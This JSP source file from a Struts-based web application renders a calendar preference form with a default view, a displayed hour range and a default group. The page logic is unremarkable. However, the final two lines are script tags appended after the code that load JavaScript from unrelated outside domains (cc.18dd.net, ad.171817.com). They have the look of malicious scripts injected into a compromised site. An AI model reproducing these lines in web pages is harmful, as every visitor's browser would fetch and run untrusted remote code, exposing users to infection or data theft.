<%
/*
 * @(#)EditCalendarPerference.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditCalenarPerference.jsp

  This file is reflecting business logic to maint the calendar perference.

    @author           Tony Chen
    @company          DCIVision Limited
    @creation date    18/12/2003
    @version          $Revision: 1.16.4.5 $
*/
%>
<%@ page import="java.util.*, javax.sql.*, java.sql.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.user.bean.*" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintCalendarPerferenceForm" scope="request"	class="com.dcivision.calendar.web.MaintCalendarPerferenceForm"/>

<%
  try{
  String navMode = (maintCalendarPerferenceForm.getNavMode()==null) ? "" : maintCalendarPerferenceForm.getNavMode();
  ArrayList groupList = (ArrayList)request.getAttribute("allGroupList");
  String[][] defaultGroupAry = new String[groupList.size()+1][2];
  UserGroup defaultGroupSelection = new UserGroup();
  defaultGroupSelection.setID(new Integer("-1"));
  defaultGroupSelection.setGroupName("--- "+MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(),"calendar.label.all_groups")+" ---");
  groupList.add(0,defaultGroupSelection);
  for(int i=0;i<groupList.size();i++){
    UserGroup userGroup = (UserGroup)groupList.get(i);
    defaultGroupAry[i][0]=userGroup.getGroupName();
    defaultGroupAry[i][1]=userGroup.getID().toString();
  }
  request.setAttribute("groupList",groupList);
%>
<layout:titleFormat><font class="pageTitle"><layout:pageTitle linkFlag='false'/>
<%if (GlobalConstant.NAV_MODE_VIEW.equals(navMode)) {%>
  <bean:message key='common.label.view'/>
<%} else {%>
  <bean:message key='common.label.edit'/>
<%}%>
</font>
<%//Update By Jim.Zhou			2006/06/15			Bug	5629%>
<%if (GlobalConstant.NAV_MODE_VIEW.equals(navMode)) {%>
  <layout:returnButton>
      ListCalendar.do?isNew=true
  </layout:returnButton>
<%} else {%>
  <layout:returnButton>
      ListCalendar.do
  </layout:returnButton>
<%}%>
<%//Update End%>
</layout:titleFormat>




<html:form action='calendar/MaintCalendarPerference' onsubmit='return(false)'>
<script language="Javascript">
<!--
function OpCreate() {
  var frm = document.maintCalendarPerferenceForm;
  if (parseInt(frm.endShowHour.value) < parseInt(frm.startShowHour.value)) {
    frm.startShowHour.focus();
    alert("<bean:message key='errors.calendar.start_day_must_be_less_than_end_day'/>");
    return true;
  }
  frm.opMode.value="<%=GlobalConstant.OP_MODE_INSERT%>";
  frm.navMode.value="<%=GlobalConstant.NAV_MODE_VIEW%>";
  frm.submit();
  return false;
}
-->
</script>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='userRecordID'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>

<table width="100%" cellpadding="20" cellspacing="0" border="0"><tr><td>
<%
  UserRecord userRecord = sessionContainer.getUserRecord();

  String DEFAULT_START_HR = "0";
  String DEFAULT_END_HR = "23";


  String[][] defaultViewMap ={{"calendar.label.list_by_day_view", "LD"},
                              {"calendar.label.list_by_week_view", "LW"},
                              {"calendar.label.list_by_month_view", "LM"},
                              {"calendar.label.list_by_todo_view", "LT"},
                              {"calendar.label.list_by_event_view", "LE"}
                             };


  int startShowHour = maintCalendarPerferenceForm.getStartShowHour()==null? 0:
    new Integer(maintCalendarPerferenceForm.getStartShowHour()).intValue();
  int endShowHour = maintCalendarPerferenceForm.getEndShowHour()==null? 0: new
    Integer(maintCalendarPerferenceForm.getEndShowHour()).intValue();
%>
<table width="600" cellpadding="0" cellspacing="2" border="0" align="left">
  <tr><td>
  <table width="700" border="0" cellspacing="0" cellpadding="0">
    <tr>
      <td>
        <table width="100%" border="0" cellspacing="1" cellpadding="0">
          <!-- Section Header -->
          <layout:sectionHeader name="calendar.label.calendar_view"/>
          <tr>
            <td class="dataLabel" width="25%" nowrap><bean:message key ='calendar.label.default_view'/>:&nbsp;</td>
            <td class="dataField" width="75%">
            <html:select property="defaultView" >
              <html:options stringArray='<%=defaultViewMap%>' hasSelect="false"/>
            </html:select>
            </td>
          </tr>

          <tr>
           <td class="dataLabel" width="25%" valign="top" nowrap><bean:message key ='calendar.label.display_time_range'/>:&nbsp;</td>
           <td class="dataField" width="75%">
            <table cellpadding=2 cellspacing=0 border=0>
              <tr>
                <td nowrap align=left width=2%><bean:message key ='calendar.label.start_day_at'/></td>
                <td>
                <%if (GlobalConstant.NAV_MODE_VIEW.equals(navMode)) {%>
                  <%
                    int hour = Integer.parseInt(maintCalendarPerferenceForm.getStartShowHour());
                    int showHour;
                    if(hour==0){
                      showHour=12;
                    } else if(hour<13){
                      showHour=hour;
                    } else {
                      showHour=hour-12;
                    }
                    out.print(showHour);
                    %>
                    <bean:message key='<%= (Integer.parseInt(maintCalendarPerferenceForm.getStartShowHour())<12) ?
                    "common.label.am" : "common.label.pm" %>'/>
                <%} else {%>
                  <select name="startShowHour">
                    <%//Code Add By Jim.Zhou		2006/06/07			Bug #5632%>
                    <!--
                    <%for (int i = 1; i < 25; i++) {	%>
                    <option <%= (startShowHour==i) ?  "selected" : ""%> value="<%=String.valueOf(i)%>">
                      <% if (i<13) { %>
                         <%=i%>&nbsp;<bean:message key="common.label.am"/>
                      <% }else { %>
                         <%=(i-12)%>&nbsp;<bean:message key="common.label.pm"/>
                      <% } %>
                      </option>
                    <%}%>
                    -->
                    <%for (int i = 0; i < 24; i++) {%>
                      <option <%= (startShowHour==i) ? "selected" : ""%> value = "<%=String.valueOf(i)%>">
                        <%=i == 0 ? "12" : i < 13 ? String.valueOf(i)  : String.valueOf(i-12)%>&nbsp;<bean:message key='<%= (i<12) ? "common.label.am" : "common.label.pm" %>'/>
                      </option>
                    <%}%>
                    <%//Code Add End%>
                  </select>
                <%}%>
                </td>
              </tr>
              <tr>
              <td nowrap align=left width=2%><bean:message key ='calendar.label.end_day_at'/></td>
              <td>
              <%if (GlobalConstant.NAV_MODE_VIEW.equals(navMode)) {%>
                <%
                    int hour = Integer.parseInt(maintCalendarPerferenceForm.getEndShowHour());
                    int showHour;
                    if(hour==0){
                      showHour=12;
                    } else if(hour<13){
                      showHour=hour;
                    } else {
                      showHour=hour-12;
                    }
                    out.print(showHour);
                    %>
                <bean:message key='<%= (Integer.parseInt(maintCalendarPerferenceForm.getEndShowHour())<12) ?
                "common.label.am" : "common.label.pm" %>'/>
              <%}else {%>
                <select name="endShowHour">
                    <%//Code Add By Jim.Zhou		2006/06/07			Bug #5632%>
                    <!--
                    <%for (int i = 1; i < 25; i++) {	%>
                    <option <%= (endShowHour==i) ?  "selected" : ""%> value="<%=String.valueOf(i)%>">
                      <% if (i<13) { %>
                         <%=i%>&nbsp;<bean:message key="common.label.am"/>
                      <% }else { %>
                         <%=(i-12)%>&nbsp;<bean:message key="common.label.pm"/>
                      <% } %>
                      </option>
                    <%}%>
                    -->
                    <%for (int i = 0; i < 24; i++) {%>
                      <option <%= (endShowHour==i) ?  "selected" : ""%> value="<%=String.valueOf(i)%>">
                          <%=i == 0 ? "12" : i < 13 ? String.valueOf(i)  : String.valueOf(i-12)%>&nbsp;<bean:message key='<%= (i<12) ? "common.label.am" : "common.label.pm" %>'/>
                      </option>
                    <%}%>
                    <%//Code Add End%>
                  </select>
            <%}%>
              </td>
              </tr>
          </table>
       </td></tr>
       <tr>
        <td class="dataLabel" width="25%" nowrap><bean:message key ='calendar.label.default_group'/>:&nbsp;</td>
          <td class="dataField" width="75%">
          <html:select property="defaultGroup">
            <html:options stringArray='<%=defaultGroupAry%>' hasSelect='false' convertLabel='false'/>
          </html:select>
          </td>
        </tr>
    </table>

    </td></tr>
     </table>

   </td></tr>
  <tr>
    <td colspan="2" align="center"><html:img src='LayoutSpacer.gif'  width='1' height='5'/></td>
  </tr>
  <tr>
    <td colspan="2" align="center">
    <%if (GlobalConstant.NAV_MODE_VIEW.equals(navMode)) {%>
      <html:standardButton label="common.label.edit" link="MaintCalendarPerference.do"/>
    <%}else {%>
      <html:permissionButton label="common.label.save" right="E" onClick="return OpCreate();"/>
    <%}%>
    </td>
  </tr>
</table>
</td></tr></table>
</html:form>
 <%}catch(Exception e){LogFactory.getLog(this.getClass()).error(e, e);}%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>